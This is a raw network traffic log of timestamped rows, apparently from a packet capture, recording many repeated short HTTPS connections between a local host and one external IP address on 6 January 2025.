Jan 6, 2025 13:59:07.436533928 CET	62618	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.436539888 CET	443	62618	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:07.436769962 CET	443	62618	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:07.439287901 CET	62618	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.439332962 CET	443	62618	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:07.439383030 CET	62618	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.442509890 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.442549944 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:07.442614079 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.442877054 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:07.442889929 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.077292919 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.077372074 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.079252958 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.079263926 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.079509974 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.081219912 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.081257105 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.081393003 CET	443	62619	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.081427097 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.081454992 CET	62619	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.084203005 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.084235907 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.084418058 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.084662914 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.084680080 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.698434114 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.698506117 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.700551033 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.700557947 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.701220036 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.703433037 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.703466892 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.703593969 CET	443	62620	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.703633070 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.703670025 CET	62620	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.706136942 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.706177950 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:08.706345081 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.706784964 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:08.706799030 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.325916052 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.326024055 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.327545881 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.327554941 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.327796936 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.332123041 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.332164049 CET	443	62621	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.332243919 CET	62621	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.335077047 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.335110903 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:09.335186958 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.335608959 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:09.335617065 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.100342035 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.100449085 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.102592945 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.102602005 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.102838039 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.104515076 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.104551077 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.104701996 CET	443	62622	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.104722977 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.104751110 CET	62622	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.107772112 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.107808113 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.107973099 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.108206034 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.108218908 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.714063883 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.714154005 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.715919018 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.715926886 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.716182947 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.719990969 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.720030069 CET	443	62623	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.720086098 CET	62623	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.722830057 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.722868919 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:10.722930908 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.723160982 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:10.723176003 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.384933949 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.385015965 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.387398958 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.387409925 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.387645960 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.391125917 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.391164064 CET	443	62624	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.391212940 CET	62624	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.394196033 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.394239902 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:11.394393921 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.394854069 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:11.394865990 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.000308990 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.000425100 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.002697945 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.002713919 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.002953053 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.034574986 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.034681082 CET	443	62625	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.034790993 CET	62625	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.038636923 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.038672924 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.038743973 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.039117098 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.039132118 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.657455921 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.657660961 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.659152031 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.659162045 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.659410000 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.661150932 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.661192894 CET	443	62626	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.661283016 CET	62626	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.663582087 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.663633108 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:12.663718939 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.663939953 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:12.663958073 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.279767990 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.279855013 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.281441927 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.281454086 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.281681061 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.283690929 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.283725977 CET	443	62627	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.283777952 CET	62627	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.291448116 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.291479111 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.291554928 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.291743040 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.291750908 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.906970978 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.907052040 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.908485889 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.908492088 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.908703089 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.914078951 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.914103031 CET	443	62628	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.914161921 CET	62628	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.916879892 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.916917086 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:13.917098999 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.917335033 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:13.917350054 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.827126026 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.827338934 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.828834057 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.828845024 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.829080105 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.834112883 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.834157944 CET	443	62629	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.834222078 CET	62629	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.836730003 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.836761951 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:14.836854935 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.837060928 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:14.837068081 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.441150904 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.441235065 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.448057890 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.448065996 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.448299885 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.451855898 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.451915979 CET	443	62630	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.452018976 CET	62630	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.502950907 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.502999067 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:15.503103018 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.503608942 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:15.503623009 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.111825943 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.111916065 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.113389969 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.113401890 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.113631964 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.115425110 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.115463972 CET	443	62631	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.115518093 CET	62631	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.118108034 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.118145943 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.118215084 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.118463039 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.118479967 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.724251032 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.724328995 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.726085901 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.726095915 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.726327896 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.728060007 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.728100061 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.728235960 CET	443	62632	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.728316069 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.728364944 CET	62632	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.731053114 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.731092930 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:16.731205940 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.731445074 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:16.731453896 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.347987890 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.348084927 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.349664927 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.349674940 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.349895954 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.352055073 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.352081060 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.352197886 CET	443	62633	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.352262974 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.352281094 CET	62633	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.354882956 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.354914904 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.355042934 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.355253935 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:17.355264902 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.982525110 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:17.982597113 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.057902098 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.057915926 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.058193922 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.064990997 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.065022945 CET	443	62634	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.065068007 CET	62634	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.142793894 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.142833948 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.142889977 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.143106937 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.143115997 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.762846947 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.762908936 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.765041113 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.765052080 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.765295982 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.767496109 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.767533064 CET	443	62635	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.767591953 CET	62635	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.773133039 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.773166895 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:18.773257017 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.773528099 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:18.773533106 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.390971899 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.391045094 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.393181086 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.393193960 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.393431902 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.395220041 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.395243883 CET	443	62636	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.395308018 CET	62636	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.397797108 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.397861958 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:19.397995949 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.398205996 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:19.398226976 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.002836943 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.002923965 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.004424095 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.004431963 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.004689932 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.006639957 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.006679058 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.006834030 CET	443	62637	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.006863117 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.006912947 CET	62637	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.009320021 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.009351015 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.009633064 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.009875059 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.009881020 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.829998016 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.830054998 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.892797947 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.892813921 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.893120050 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.976341963 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:20.976397991 CET	443	62638	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:20.976459980 CET	62638	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.103466034 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.103521109 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.103831053 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.111166000 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.111186028 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.720122099 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.720237017 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.721759081 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.721766949 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.722007036 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.723709106 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.723737955 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.723862886 CET	443	62639	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.723922968 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.723942041 CET	62639	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.741712093 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.741755962 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:21.741833925 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.742080927 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:21.742091894 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.376116991 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.376194000 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.377825975 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.377839088 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.378073931 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.380027056 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.380075932 CET	443	62641	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.380162001 CET	62641	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.388825893 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.388876915 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:22.388945103 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.389194012 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:22.389205933 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.003360987 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.003483057 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.005188942 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.005212069 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.005439997 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.007066011 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.007100105 CET	443	62642	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.007158041 CET	62642	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.009533882 CET	62643	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.009577036 CET	443	62643	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.009646893 CET	62643	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.022595882 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.022645950 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.022711992 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.022916079 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.022927046 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.656925917 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.657008886 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.663903952 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.663918018 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.664194107 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.667830944 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.667886972 CET	443	62644	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.667943001 CET	62644	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.668153048 CET	62643	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.672318935 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.672363043 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:23.672441959 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:23.672667980 CET	62645	443	192.168.2.6	149.154.167.220
